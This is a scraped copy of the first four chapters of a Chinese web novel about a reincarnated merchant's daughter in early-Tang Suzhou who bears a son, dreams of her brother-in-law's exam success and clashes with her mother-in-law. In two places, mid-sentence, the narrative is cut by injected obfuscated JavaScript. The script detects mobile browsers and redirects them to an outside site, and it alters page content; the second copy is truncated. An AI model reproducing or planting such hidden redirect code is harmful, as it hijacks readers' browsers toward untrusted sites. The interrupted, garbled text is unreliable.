《探花郎的极品二嫂》 1. 第一章 春日的黄昏,土黄色的村庄被翠绿色覆盖,波光粼粼的水面上倒映着绚烂的晚霞。 一艘乌篷船破开平静的河面,停在杜家湾渡口,船上下来三个浑身泥腥味的男人,走在最前面的男人付过船资,快步走上浸在水里的石阶。 “二叔。”水边的桑树上,一个七八岁大的小孩从枝叶丛中探头,“二叔,你回来了,我二婶今天生了个小弟弟。” 杜黎一听,他拔腿往家里跑,手上拎的水桶猛地荡出水,大半淋在他的腿上和鞋上。 “黎小子回来了?赶得巧,你媳妇今儿生下一个小子。”村口的二大娘说。 杜黎没顾上应话,他一路疾跑,终于靠近自己家,黄泥土墙茅草屋顶,屋顶的烟囱在冒烟,他娘在院外的青石板上剁草喂鸡鸭,一切跟寻常的日子无异,不像家有喜事的样子。 “娘,青娘生了?不是说三月中旬才生?怎么提前生了?她没事吧?”杜黎又喜又惊地问。 “能有什么事?她要提前半个月生,我还能管着她?反正我没推她撞她,也没累着她。”杜母阴阳怪气地说,“你要是担心她在我们家会出事,你还把她送回孟家,让你丈母娘伺候去。” 杜黎脸上的喜色凝住,脸色变得难看,他顾不上呛声,疾步往院子里走,进门遇上大嫂李红果。 “二弟?我还以为听错了,真是你回来了。更役不是还没满?我算着你还有四五天才能回来,渡口建好了?”李红果端着米盆从粮仓出来,一脸的疑惑。 杜黎点头,他放下手上的水桶和夹袄,问:“青娘生了?我去看看她。” “生了,过晌之后生下来的,是个小子。不知道你今天会回来,你大哥进城替你跟你岳父岳母报喜去了。”李红果说。 杜黎推门进去,又迅速关上门。这会儿正值黄昏,门朝西,窗朝东,屋里光线昏暗,他走到床榻旁边才把睡在床上的母子俩看清,女人紧皱着眉头,一脸生气的样子,睡在里侧的孩子跟她是如出一辙的表情。 “青娘,青娘?”他试着喊两声。 孟青没反应,她这会儿堕入迷梦,梦里如溺水一般,聒噪粗哑的声音粗暴强硬地灌进耳朵…… “杜悯他二嫂?我知道她,是个商户女,从小就是个会钻营的,嫁人后还不改性子,杜悯好好一个书生,她利用他的名声给她娘家拉生意,险些害得他不能科举……” “……商户女就是精明算计,骨子里都透着小家子气,你不知道,她给杜悯二两银子用,在村里逢人就说,生怕别人不晓得她的功劳,也不想想她小叔子会不会没脸。” “……杜悯他娘也是倒霉,遇上这么个儿媳妇,她没嫁来之前,杜家安安生生的,她进门了,杜悯险些走上歪路,杜黎也胳膊肘往外拐,一心偏向他岳家,动不动跟他爹娘吵架,不孝啊!” “何止啊,我听说孟青还想把她儿子过继到她小叔子名下,如今杜悯一举高中,成了探花使,真要让她得逞,她可占大便宜了……” 未尽的话还在继续,孟青的意识飘荡在杜家湾上空,她看不清说话人的脸,却清晰地听见一句句诬陷她的话,她想反驳想骂人,拼尽力气却没法开口。 “哞——” 一道浑厚的牛叫声破开迷雾,尖利的讨伐声迅速退去,孟青的意识不受控制地被卷进一个漩涡。再有知觉,她听到高声唱名声,她来到长安皇城内,悬空围观麟德元年的放榜盛况。她正要寻找皇榜上有没有杜悯的名字,一晃眼,她来到曲江池,看见她小叔子杜悯身着一席白袍衫,骑着高头大马,冠以探花使的美名游名园摘名花。 “三弟!三弟!杜悯,你中进士了?”孟青大喜,她激动地大声喊,却发现他毫无反应。再看周围拥挤的无脸人,她陡然意识到不对劲,眼瞅着他骑马走远,她慌张地要跟上去,却像被封在罐子里动不了,怎么挣扎都没用。 渐渐的,她听不见声音了。 “三弟!”孟青大喊一声,她猛地睁开眼坐了起来,发现屋里漆黑一片,一时分不清是不是还在梦里。 杜黎听到声音,他推门探进身,说:“是三弟回来了,我在让他给我们孩子取个好名字。” “二嫂,你喊我有事?”杜悯在门外问。 孟青满脸恍惚,不是梦,她疲惫地躺回去,说:“没事,做了个梦。” 缓了两息,她打起精神补充一句:“我在梦里梦见三弟进士及第,还是探花使,骑着高头大马在长安游名园。” 杜悯在门外听到这话,他哪怕不相信,心里也乐开花,他笑着说:“那就借二嫂吉言,真有那一日,我必给二嫂拜三拜。” 孟青没再吭声,她闭眼回忆梦中的事,这个梦太奇怪了,她不曾去过长安,却梦到皇城的景,巍峨的城墙跟她前世在电视里看过的全然不同,是真的还是虚幻的? 她怎么会做这种梦?还有她在梦里听到的讨伐污蔑她的话…… 脚步声靠近,孟青睁开眼,一簇火苗跳跃,她看见丈夫杜黎举着一根燃烧的木枝引燃桌上的油盏,飙起的火光映亮他的脸,脸颊凹陷得厉害。他瘦了许多,显得鼻峰和眉骨越发挺拔,整个人看上去比以往多了棱角。 “你怎么回来了?二十天的徭役不是还没满?难不成秋后还要再征你去?”她问。 “平望镇的渡口建好了,役官就放我们回来了,秋后肯定是还要再去干五天,把役期服满。”杜黎解释,他走到床边问:“怎么提前半个月发动了?我以为能赶在你生之前回来。” 孟青这才想起她生了个孩子,扭头一看,一个裹着襁褓的小孩睡在床里侧,跟才生下来时一样,还是红皱红皱的皮。 “估计不是提前,可能是算错了日子,应该是新婚当晚怀上他的。”孟青生产没吃多大的苦头,想来肚子的孩子是瓜熟蒂落,不是早产。 杜黎闻言干咳一声,他有些尴尬地转移话题:“你饿不饿?陶釜里炖着你爱吃的四腮鲈,我给你端来?” “哪来的四腮鲈?你带回来的?”孟青清楚她婆母就是得了失心疯也舍不得买四腮鲈给她吃。 “我在平望镇的渡口逮的,逮了三条。”杜黎说,“我去给你盛汤。” “等等。”孟青叫住他,让他先提个尿桶进来。 杜黎出去再进来,进来再出去,孟青吃上鱼汤已是一盏茶之后的事。 四腮鲈每年秋冬要游回入海口产卵育肥,春季从深海向河口洄游,此时正值三月,从咸水迁往淡水的鲈鱼肉质鲜美,清香回甘,孟青尝到第一口,顿时有了胃口。 吃到半途,孩子醒了,孟青给孩子喂奶,她把大黑碗递给杜黎,“你吃,我不吃了。” 杜黎见她侧着身掀衣裳,他慌得站起来,“我、我出去吃饭。” 走到门口,他又说:“我就在门外,你有事喊我。” 孟青低着头“嗯”一声。 两人成亲不过两个月,孟青就发现她怀上了,那时她吃什么吐什么,不吃闻到味也吐,不过一个月,她瘦了一大圈。她最需要人照顾的时候恰逢农忙,婆家腾不出人手照顾她,她跟杜黎商量之后搬回娘家住,让她爹娘照顾,一直到肚子里的孩子满五个月了才回杜家湾。但回来不到一个月,她跟杜母吵一架,一气之下又回娘家住,之后就是在娘家长住,在婆家短住,直到大半个月前快生了才搬回来。 偏偏她搬回来没两天,杜黎又因服徭役离家,夫妻俩聚少离多,导致孩子都生了,还像新婚夫妻一样生疏羞涩。 孟青喂完奶,杜黎把放凉的鲈鱼豆腐汤回火热一热又端给她吃。 “你吃,你看你都瘦脱相了。马上就要农忙,你不吃点好的,你的身子熬得住?”孟青心疼他。 “我不要紧,我什么都能吃,不缺这一嘴吃的。”杜黎把孩子接过来,一手把鲈鱼豆腐汤递过去,他笑着说:“吃吧,我知道你爱吃这东西,也吃得完。” 孟青看他一眼,杜黎摆手,“快吃,再让来让去汤又凉了。” 孟青没再多说,她捧着大黑碗喝几口汤,把剩下的一条鲈鱼和十块儿豆腐全吃了。 “二哥,你吃饭了吗?”杜悯的声音在门外响起。 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杜悯摇头,“他祖父收藏的名画,我有幸见过,大家之作,画中马的神韵活灵活现,恐难以一五一十地还原。他也去问过孟家二伯,孟家二伯不敢担保能达到他的要求,没接这笔生意。我这个同窗知道我二嫂是孟家姑娘,就托我出面说说好话,看能不能让孟家二伯多费点心思替他做出来。耐不住他央求,我今天去孟二伯家探口风,孟家兄弟透露要是我二嫂出手,估计能有七八成的把握。” “你二嫂出月子得到四月初了,他祖父周年祭是什么时候?”杜黎问,“你同窗的性子如何?如果纸马做得不合他意,他不会找纸马店麻烦吧?” “不会不会,看在我的面子上也不会。”杜悯担保,“他祖父的祭日在六月,我二嫂出月子再动手也来得及,就看她愿不愿意。” 杜黎想了想,说:“四五月要煮茧缫丝,还要收割早稻,家里老的小的都忙得打转,娘腾不出手照顾你侄儿,你二嫂得带孩子,恐怕没精力再做这个事。” 杜悯上前一步,他压着声低声说:“二哥,我这个同窗家里有钱,他出价高,只要我二嫂能做出画里马的七八成神韵,她能要高价,孟家二伯这一单最少能赚上十贯钱。这单生意要是打出名声,往后我们书院大半的人都会是孟家纸马店的客人。你跟我二嫂说说,看她是什么想法。” 杜黎暗吸一口气,他把空钵塞给他,说:“我去跟你二嫂说。” 杜悯一把抓住他,随即从袖筒里掏出一个纸卷,“二哥,有些话我不好说出口,也不好托你转告,你把这张纸转交给我二嫂。” 杜黎皱眉,他看他几眼,拿着纸卷进去了。 孟青在屋里隐约听到了几句话,待听过杜黎的转述,再看纸上的字,她惊慌地攥紧手。 “咋了?纸上写的啥?”杜黎不解地问。 “你三弟想做暗地里的牙人,他给我家纸扎店介绍生意,生意做成,我爹得给他抽成。”孟青不可抑制地想到梦里的场景,她背负的骂名之一就是利用读书郎的名头给她娘家拉生意。梦里她觉得荒唐,她从没有过这种想法,她嫁给杜黎,赌的就是杜悯在读书一道上会有好前程,于她子孙有利,她哪会做出这等不知轻重的事。 没想到杜悯这个读书人自己送上门来了,他要沾商贾之利? 难不成那个梦是真的? 梦里还有什么来着?骂她是搅家精,拐着杜黎跟他爹娘对着干,一心偏着她,还偏向岳家?她抬头看杜黎,实在不相信他能做出这种事,作为家里最不受重视的老二,他会有反抗爹娘的勇气? 再想到她痴心妄要把自己的孩子过继出去的骂名,孟青看向床里侧的儿子,她就是得了疯病也不会把她吃尽苦头生下来的孩子过继给小叔子。 梦怎么可能是真的。 “这事不成,我去跟三弟说,他做这种事是碰商贾之利,一旦走漏风声,他这辈子都不能科举。”杜黎生气,商贾是贱籍,世代不能为官,杜悯是猪油蒙了心?敢做这等自毁前程的事? 孟青见他要引火烧纸卷,她忙说:“等等,把纸给我。” 杜黎一顿,他没听她的,把这个把柄烧个干净。 孟青瞥他一眼,她倒要看看,他替她拒绝了,杜悯还会不会想方设法的促成这个事。若杜悯沾上商贾之利,梦里的事就不是空穴来风。 若梦是真的,思及她背负的骂名,孟青笑了,事情变得有意思起来了。 2. 第二章 杜黎拉开门出去,门外不见人,院子里也没人,蚕室里有光从门缝里透出来,里面有说话声。 “二哥,我在这儿。”杜悯人在牛棚外。 杜黎大步过去,见人就骂:“你得失心疯了?你一个读书人敢沾商贾之利,你不参加科举了?你老实跟我说,你在外面是不是欠债了?你沾赌了?” “没有。”杜悯淡然地说。 “真没有?”杜黎疑心大起。 “你不觉得这是个好商机?孟家的纸马店在吴县乃至苏州都是头一份,但名头没打出来,顾客都是穷人家,卖出去的多是纸钱和灵幡,盈利不多。”杜悯说得头头是道,显然他已经思量许久,他背着手胸有成竹道:“而我书院的同窗,大多家底丰厚,这是一帮爱面子还拿得出钱的客人,只要我们把声势造起来,孟家纸马店往后不缺生意,还都是大生意。” 杜黎能听懂,但他不赞成,“这跟你无关,你要是缺钱,家里能给你拿,你不能碰商贾之事。这事一旦走漏风声,你这辈子断了科举做官的路,到时候你二嫂跟她娘家都是罪人,你让她在杜家如何做人?” 杜悯皱眉,他不死心地说:“不会走漏风声……” “不行。”杜黎不等他说完,强硬地打断他的话,并威胁说:“你要是不想害你二嫂,你明早就回书院,这事休要再提。” 杜悯气他不知变通,他哎呀一声,甩手走了。 次日一早,杜悯早饭都没吃就乘船离家了,杜黎见状心里踏实了些。 孟青得知消息后,失望远比高兴多,她琢磨一晚上,更期待梦是真的。 “老二,下地干活了。”杜父在院子里喊。 “好。”杜黎应一声,他把昨天带回来的脏夹袄又穿上,跟孟青说:“我要去犁田,娘跟大嫂要去拔秧苗,只有锦书和巧妹留在家里,你有事喊他们,他们做不了的,就让锦书去田里喊人。” 锦书和巧妹是老大家的两个儿女,锦书有七八岁大,巧妹上个月满五岁,两个都听得懂话,还能干跑腿的活儿。 孟青无奈点头,家里是实打实地忙,她也不能强行留个大人在家帮她伺弄孩子。 杜黎出门又跟巧妹交代一遍,“你二婶昨天才生完孩子,她不能出门,你在家里守着她,听她的话。” 巧妹点头,“我记住了,我娘跟我说过。” 杜母挑着筐路过,她催促道:“别磨叽,快去扛犁。你大哥也不知道啥时候回来,待会儿我跟你爹牵牛,你扶犁。” 孟青娘家在城里,乘船去一趟要两个时辰,杜黎大哥昨天下午去报喜,晚上没能回来。 孟青躺在床上竖耳听一阵子,听外面没动静了,她扬声喊:“巧妹,你进来。” 小姑娘乐滋滋地推门,“二婶,你喊我?” 孟青指桌上的油纸包,“麦芽糖,你自己拿,给你哥也拿两块儿。” 巧妹咧开嘴笑,她就乐意帮她二婶做事,每次都能吃到糖和点心。她拿块儿麦芽糖含在嘴里,又数三块儿搁手心里,说:“我哥吃两块儿,我也吃两块儿。” 孟青点头,“这是今天的,剩下的明天再吃。” “明天潘奶奶是不是要来看小弟弟?”巧妹问。 “对,明天小弟弟洗三,他外婆要来。”孟青说,“你要不要看看小弟弟?” 巧妹握着糖走到床边,孟青把孩子从里侧抱出来。 “小弟弟醒着?他吃不吃糖?”巧妹趴床边问。 “他还不能吃,要到明年春天才能吃。”孟青笑着说,“再过两年,他也能跟在你们后面满村跑了。” 巧妹舔了舔嘴里的糖,问:“他叫啥名字?” “叫望舟,也是你小叔取的。”孟青说。 “二婶,我出去摘桑叶了啊。”锦书见门开着,他探头进来。 “好,你爬树的时候小心点,不要掉下来了。”孟青嘱咐。 巧妹跑出去,她把手里的麦芽糖分两个出去,“二婶给的,可甜了。” “你在家守着二婶。”锦书含着糖交代,“蚕室你不能进去,别把蚕箔推倒了。” “我才不会。” “反正你不能进去,我可不想跟你一起挨打。”锦书强调,他不放心,大声朝屋里说:“二婶,你看着巧妹,不要让她进蚕室玩蚕。” 孟青答应下来,蚕室里的春蚕担负着一家子的绢税,均田制下,每户人家每年要纳二丈绢布和三两的绵,不能出差错。不仅是纳绢,杜悯用的笔墨纸砚也从蚕室中来,蚕在家里的地位堪比犁地的牛。 锦书出门后,巧妹又进屋,手里的糖吃完,她又从孟青那里磨得两块儿,这才心满意足地去院外给鸡挖蚯蚓吃。 孟青下床扶着墙走动一盏茶的功夫,走得浑身冒虚汗,她回到床上躺下跟孩子一起睡觉。 再醒来是孩子饿了,孟青给他喂奶,给他换尿戒子的时候,顺带把铺在床上吸恶露的布草垫子换下来。忙完这一通,她又出一身虚汗,头昏脑胀地躺在床上还要哄哼唧着哭的孩子,她心头火气。 巳时中,杜母带着满身的泥点子回来,进院没看见孙子孙女的人影,她扯着嗓子喊:“锦书?巧妹?人哪儿去了?” 南屋里,哭累了睡着的孩子被乍然响起的声音吓了一哆嗦,紧跟着哇哇大哭,孟青忙侧过身揽住他,“不害怕不害怕,没事,娘在呢……不怕不怕……来,娘抱你。” 杜母推门进来,门一开,一股子血味混着尿骚味,她夹起眉头,嫌弃道:“孩子哭你给他喂奶,抱在怀里干说话顶啥用。” 孟青眼神一厉,她暴躁地瞪过去,“还不是被你吓的,你不知道家里有才出生的娃?扯着嗓子喊什么喊?” 怀里的孩子哭声又大了,孟青压下火气,轻言细语地哄:“不怕不怕……” 杜母咬牙盯着她,最后眼一闭扭身出去了。 等晌午干活儿的人回来,孟青立马跟杜黎说:“你去交代你爹娘和兄嫂,在家不要摔摔打打,不要扯着嗓子说话,望舟还小,动静大了会吓到他。你娘晌午那会儿回来大喊大叫,吓得他哭了好久,奶都不喝了。” “好,我待会儿去说。”杜黎去拿筐里的尿戒子和布草垫子,顺带把尿桶提出去。 “娘,吃过饭你把尿戒子洗了,早点洗早点晒,明天你孙子还要用。”杜黎走到灶房外说。 杜母摔摔打打,她不痛快地抱怨:“我在田里拔秧苗,回来要给你们做饭,要给小的洗尿戒子,累死累活还要看人脸色,我真是命苦。” “哪年你不拔秧苗?又不止今年。你做饭的时候我们在田里犁田,都没闲着,又不是你一个人在受累。锦书和巧妹小的时候,我大嫂坐月子不也是你洗尿戒子,咋轮到我这一房,你就嚷命苦了。”杜黎反问,他逮到机会,把昨天的不得劲一并说出来:“昨天也是,我以为青娘是提前半个月发动,问一句她有没有事,你就发作。娘,我添个儿子是啥祸事不成?你不是甩脸就是敲釜砸碗。” 杜母理亏心虚,但嘴上不肯吃亏,她嚷嚷说:“你去问你媳妇,看她有没有当儿媳妇的样子,看我像仇人。我在她面前连话都不敢多说,我哪是当婆婆的,是给人当奴才的。” “我不问她,我听你说。”杜黎走进来,“你说吧,她才生不到两天,哪儿得罪你了?” “好啊你,话里话外都偏帮她,还跟我吵起来了!咋了?你要打我不成?”杜母见他步步紧逼,她气不打一处来,开始胡搅蛮缠。 “二弟,你给我出来。”老大杜明过来喊,他绷着脸训斥:“做什么?你闹什么?” “你别吼,你侄子才两天大,容易受惊。”杜黎见他娘胡搅蛮缠就知道这个事又说不清了。 孟青走到门后,她凝神听一会儿,见杜黎在孝道和长幼有序的威慑下灭了气势,她透过门缝说:“杜黎,我想了想,娘不愿意照顾我就算了,你待会儿去三婶家走一趟,让她来照顾我坐月子,我一天给她十文的工钱。” 杜大哥皱眉,他不耐烦地说:“弟妹,这话从何说起?娘没有不愿意照顾你坐月子,这不是家里忙嘛,她累得慌,火气难免大了点。” “是啊,我体谅你们农忙,上午留两个孩子在家听使唤,我有说什么吗?我一开始就没有意见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825231|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但这半天下来我实在是吃不消,我昨天才生的孩子,今天下床走动都费劲,我需要人扶着我,需要有个人在孩子哭闹的时候帮我哄哄孩子,帮孩子勤换尿戒子。”孟青无辜地说,“我又没大吵大闹,也没胡搅蛮缠地一定要娘留家里照顾我,我自己出钱请人照顾还不行?” “这不得行,话传出去多难听。”杜大哥直接给否了,哪有婆母健在,花钱请婶婆照顾侄媳妇坐月子的,这事真做下,村里人能嚼断他家的脊梁骨。 孟青没坚持,她退一步说:“大哥说得在理,要不这样,我出钱,你们雇个闲汉去地里干活儿,让杜黎留着家里照顾我和孩子。” 杜黎立即出声:“这事行,我去跟爹说。” 杜大哥哑口无言。 孟青回床上躺着,不一会儿,她听到巧妹的哭声,她皱起眉头。 “让你在家守着她,你跑哪儿去了?”杜母拧着巧妹的耳朵问,“一门心思地贪吃贪玩,让你做点事都做不好,晌午不准你吃饭。” 李红果脸色难看,但眼下婆母急着泄火,她不敢引火烧身,只能跟着不轻不重地训:“不是交代你让你守着你二婶,你还跑出去玩,你奶骂你没骂错。” “我看二婶睡着了,我就去大奶奶家玩了一小会儿。”巧妹哭着说。 “我回来换衣裳的时候是看见巧妹守在家里。”杜大哥替他女儿作证。 “行了行了,吵得人头疼。”杜父从中堂走出来,杜黎跟在他身后,他再一次说:“娘,大哥,大嫂,望舟才出生,胆子小,你们在家别大声叫骂,孩子容易受惊。” 李红果生养了两个孩子,此事她能理解,她当场嘱咐锦书和巧妹不要在家大叫,靠近南屋的时候不要大声说话。 “他娘,老二媳妇才生,这又是她头一胎,她照顾不来,你留家里照顾她,不用下地了。”杜父说。 “我不下地?我不下地你们忙得过来?”杜母不同意,老二今年满二十一岁,开年分到二十亩永业田和三十亩口分田,加上老头子和老大名下的四十亩永业田和一百六十亩口分田,家里统共有二百五十亩田地。今年人手本就紧缺,再缺她一个,今年早稻要少种一二十亩。 “我叫老二去城里雇两个闲汉。”杜父说。 杜母心疼钱,“两个闲汉一天就是三十文的工钱,一个月下来都快有一贯钱了,赶上八亩水田的收成,不行不行。” “半个月就把早稻都种上了,要不到一个月。”杜黎忍不住插话。 “那也要五百文,你说得轻松,这钱你出?”杜母打上孟青的主意,她看向南屋。 “钱从公中出。”杜父一言断定,他瞥老婆子一眼,当着儿子儿媳的面公正地说:“儿媳妇又不是年年坐月子,就今年请一次帮工你请不起?老大媳妇你都伺候了,老二媳妇你不伺候?” 杜母气得头晕,她饭都不吃了,气冲冲地回屋躺着。 杜黎心里痛快,面上却装出不自在的样子。 “都别理她,老了老了还学上小媳妇那一出。”杜父哼一声,“端菜吃饭,要饿死老子了。” 杜黎盛两份饭端回屋跟孟青一起吃,“爹说了,家里请两个帮工,娘留家里做饭和照顾你。对了,请帮工的钱从公中出,不要你出钱。” 孟青目的达到,她公爹是好面子的人,家里又没分家,儿媳妇还在坐月子,这种情况肯定不会要她出钱请帮工。不过大方的话已经说出去了,她不做小气的事,当即开箱拿一百文钱给杜黎。 “当着你爹的面给你娘,请帮工的缘由主要是为照顾我,不要我出工钱,我就给家里添些好菜。”她嘱咐他。 杜黎数了数铜板的个数,他取下五十个铜板放回箱子里,只拿五十文过去。 孟青忍不住多看他两眼,片刻后,他拿着五十文钱回来。 “怎么?你爹不收?”她明知故问。 杜黎点头,他随手把铜板丢桌上,没多说。 没过多久,家里人都下地干活儿去了,杜母溜达到南屋,把五十文要走了。 钱给了,孟青趁机提要求,让她把她屋里收拾收拾。 3. 第三章 洗三这日,天还没亮,孟青的娘和弟弟就提着包袱拎着鸡笼前往渡口等船,孟父没去,他要去瑞光寺下的纸马店守门做生意。孟青的大伯在瑞光寺做和尚,托他的福,瑞光寺寺内诵经超度用的祭品大部分由孟家纸马店供应,孟父日日要剪纸钱做香烛,离不了家。 天不亮出门,日上三竿,孟母和孟春乘船抵达杜家湾渡口。 春日春水泛滥,河水漫过河边的石阶,孟春脱下布鞋,赤脚背着他娘上岸,再返回船上拿包袱提鸡笼。 孟母站在岸上往远处眺望,目之所及皆是牵牛扶犁在水田里耕田的农人,她念叨说:“你姐坐月子撞上春耕,农忙无闲人,她婆母估计照顾不周,你姐要吃苦了。” 孟春放下鸡笼,他擦擦脚穿上鞋,说:“杜家从我姐手里拿走一百二十贯钱,抵得上他家三四年的收成,他们敢亏待她?” 孟母扯了扯嘴角,说:“就怕杜家看不上,通圜坊余记米行的东家可是愿意出三百贯的嫁妆要把他二女儿嫁到杜家,你姐的一百二十贯跟三百贯一比,可就不够看了。” “余二娘哪比得上我姐,我姐可不输官家小姐。”孟春比孟青小三岁,是跟在她屁股后面长大的,最是信服她,在他眼里,孟青哪哪都好。 孟母知道小儿子的德性,她不跟他犟,提起一个包袱进村。 孟春扛起鸡笼忙跟上。 杜母坐在剁鸡草的青石板上拔鸡毛,老远就看见朝她家走来的两个人,直到人走到跟前,她才抬头怠声招呼:“亲家来了啊,来得挺早,天没亮就出门的?” “对,赶早不赶晚。”孟母发现杜母一直盯着她的衣裳瞧,她纳闷地低头看看,衣裳上也没啥异样。 “亲家母,你身上的长褂是靛青色?”杜母瞬间变脸,她嗖的一下站起来,扬着脖子盛气凌人地质问:“你咋能穿这个色?唐律规定了,商人属杂类,跟部曲、奴婢等同,只能穿黑、白、褐黄三种颜色。你是商人妇,只能穿这三个色。” 商人妇……孟母被挤兑得满脸通红,她扯了扯衣角,强笑着辩驳:“城里很多商人都穿这个色的衣裳,没人管的。” “话不能这么说,你我两家要是没对亲家,我管你穿什么色,你就是穿红披紫我都没意见。可我家有个读书人,我小儿子以后是要做官的,你们要规矩点,可不能影响到他。”杜母趾高气昂地说。 一旁的孟春冷笑一声,他想起三天前杜悯去他家纸马店探听丧葬行业的事,话里的机锋明晃晃的暴露在太阳下。他讥讽道:“大娘,话可别说太早,你小儿子能不能考中还两说。” “孟春,闭嘴!”孟母横过去一眼,眼风掠过杜母,她气得像头驴子一样鼓着大鼻孔瞪人,可见是戳到痛处了。 “亲家母,苏州离长安甚远,圣人管不了这么远。唐律是唐律,但有句话叫法不责众,城里商人都这么穿,官府是不会责罚的。你别太害怕,没事的。”孟母考虑到两家是姻亲,她女儿是杜家媳妇,和气地解释。 杜母不依不饶:“反正你不能穿这个色的衣裳来我家,你想穿就关起门在你自己家里穿。” 孟母脸上的笑绷不住了,她呛声道:“杜悯是你儿子不是我儿子,更不是我女婿,我就是出事也连累不到他,你约束好自己就行了。” 杜母气得脸色发黑。 孟母也气得够呛,不过她是商人妇,跟人打交道多,练出了功夫,再气也不甩脸子,她假笑道:“亲家母,你忙着,我去看看青娘和孩子。孟春,跟上。” 孟春憋了一肚子气还不能发,他动作粗鲁地拎起鸡笼,鸡笼里的鸡颠得拍翅膀挣扎,飞出来的碎羽扑杜母一脸。 “小瘪犊子。”杜母呸一声,她气得胸脯剧烈起伏,见那不懂规矩的母子俩大摇大摆进她的家,她气得抓起盆里的鸡狠狠砸在地上,“吃吃吃,吃屎去吧!商人果然低贱,上不了台面的东西。” 孟母听到这话气得要吐血,偏偏只能当做没听见,商人地位低,被瞧不起是常有的事。她拽住孟春,低声说:“随她骂,骂完还是要给我们做饭吃。” 随后又嘱咐:“这事别跟你姐说,她还在坐月子,受不得气。” 孟春深吸两口气,他装不出高兴的样子,便放弃道:“算了,我先不进去了,我出去转转,看我姐夫在哪儿干活。” 孟母挥手,让他去了。 “娘?”孟青听到熟悉的声音。 孟母推门进来,她扫一眼屋里的摆置,整洁不脏乱,她心里宽慰些,江老婆子虽说看不起她,好歹没亏待她女儿。 “生娃的时候受没受大罪?孩子没折腾你吧?”孟母把包袱放桌上,她走到床边坐下,看见床里侧的小儿,她脸上露出笑,“哎呀,醒着呢?也不吭声,是个乖巧的孩子。” 孟青把孩子抱出来递给她,说:“算是个乖巧的,只要吃饱了,把他收拾干净了,他很少哭闹。” 孟母慈爱地摸小儿的脸,说:“长得像你,这眼睛,这嘴巴,跟你小时候一模一样。” 孟青倚在床头,她安静看着眼前的一幕,她是胎穿,婴儿的身子里装着二十三岁的灵魂,出生就有记忆,也记得婴儿时期的事。 “娘,我小的时候,我外婆也像你这会儿一样,摸着我的脸说我的嘴和眼睛跟你小时候一模一样。”孟青玩笑着说。 “胡说,你可记不得那时候的事。”孟母笑,她嘚嘚嘚地弹舌逗孩子,抬头说:“这孩子长得还真像我们潘家人,都有一对月牙眼。” 孟母姓潘,叫潘素年,她有三个兄弟一个姊妹,兄妹五个是如出一辙的月牙眼,笑起来就是书上描写的眉眼弯弯。孟青和孟春姐弟俩的眼睛都随她,如今孟青生的孩子也是一对月牙眼。 “也不知道小弟以后有了孩子还能不能遗传到我们的月牙眼,对了,我小弟呢?我之前好像也听到他的声音了。”孟青问。 “去找他姐夫了,看有没有他能帮忙的。”孟母若无其事地说,她转移话题:“对了,孩子的名字定下来了?” “望舟,杜望舟,是他小叔取的。”孟青说,“娘,这名字还行吧?” “望舟……是个好名字。”孟母点头,“让他取是对的,名字是他取的,他对孩子要多点感情。对了,青娘,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“杜悯千万要考中,他可不能乱来,他要是考不中,你可亏死了。”孟母又感叹,她低头看孩子不知啥时候睡着了,她点点他的鼻尖,憋着一股气说:“你娘都是为了你,你可千万要争气,长大了像你小叔一样,好好念书,争当魁首,以后做大官,给你娘请封诰命,让她能穿上绫罗绸缎,穿上红的黄的绿的罗裙。外婆沾沾你的光,出门也有炫耀的,让阿猫阿狗不敢欺负我。” 孟青没吭声,这个朝代处于唐前期,离安史之乱还有近百年,礼法规章森严,重农抑商严重,朝廷对商贾的管控极度严苛。工商归为贱籍,商贾之人世代不能做官不说,日常生活里,商人只能穿白、黑、褐黄三色的麻布衣裳,不能着锦绣,不能戴金银首饰。 孟青在唐朝生活十九年,只有在出嫁当日穿过一身浅红色的喜服,余下的日子,她只有在制作纸人纸马等明器时才能接触鲜艳的红和浓郁的绿色。她前世作为一个学过美术、上过大学的人,怎甘于忍受生活中贫瘠的色彩和不公的待遇。 故而,她看上在崇文书院里常得冠首的穷学子杜悯的二哥杜黎,愿意将一百二十贯的嫁妆全部交予婆家,用于资助杜悯读书。她借此嫁进杜家,给她的子孙后代换取一个能读书科举的机会。 4. 第四章 平望镇是江南运河和太浦河的交汇点,距平望镇五十余里的杜家湾水源充沛,一条从太浦河分支的河流流经杜家湾,杜家湾水土富饶,田无贫田。 孟春走在田埂上,田埂两侧灌满水的泥田里,牛拉着犁在其中行走,水鸟支着长腿在混浊的泥水里噆食虫子和泥鳅,泥土混着河水交织出一种独特的气味,他不自觉放松下来,心里的怒气不知不觉消散了许多。 生来是商户的他,这一刻由衷羡慕起农户,男丁长至二十一岁,按均田制规定的能分到二十亩永业田和八十亩口分田,口分田到六十岁才会收归官府,能白种三十九年呢。难怪杜母那么傲气,农户在商户面前,天生的高人一等。 “这是谁家的客?”田里耙泥的男人问。 “是不是跟杜黎他媳妇长得像?” “应该是杜老丁家的客,他二儿媳前几天给他添了个孙子,今天估计是洗三。” 有好事人大声问:“那个小伙子,你是不是杜黎的小舅子?他家今天在河渠东头干活,你顺着这条道一直走,过河就看见了。” 孟春道谢,他按对方指的路走,走到河边就遇到杜黎他们一家,杜黎和杜明站在河里洗铁犁,杜父在河边割牛草,李红果坐在河边洗脚。 “春弟?你们已经来了?你咋找到这儿来了?”杜黎诧异地问。 “我想来看看有没有我能帮忙的。你们这么早就收工?我来的时候,婶子还在拔鸡毛,这会儿估计还没开火,离饭好还早得很。”孟春在河边蹲下,河渠里的水清澈见底,他见了也想下河站在水里。 “今天家里有客,早收工。你爹来没来?”杜父问。 “没有,家里今天有事,他走不开。”孟春回答,“等孩子满月的时候,我爹会过来。” 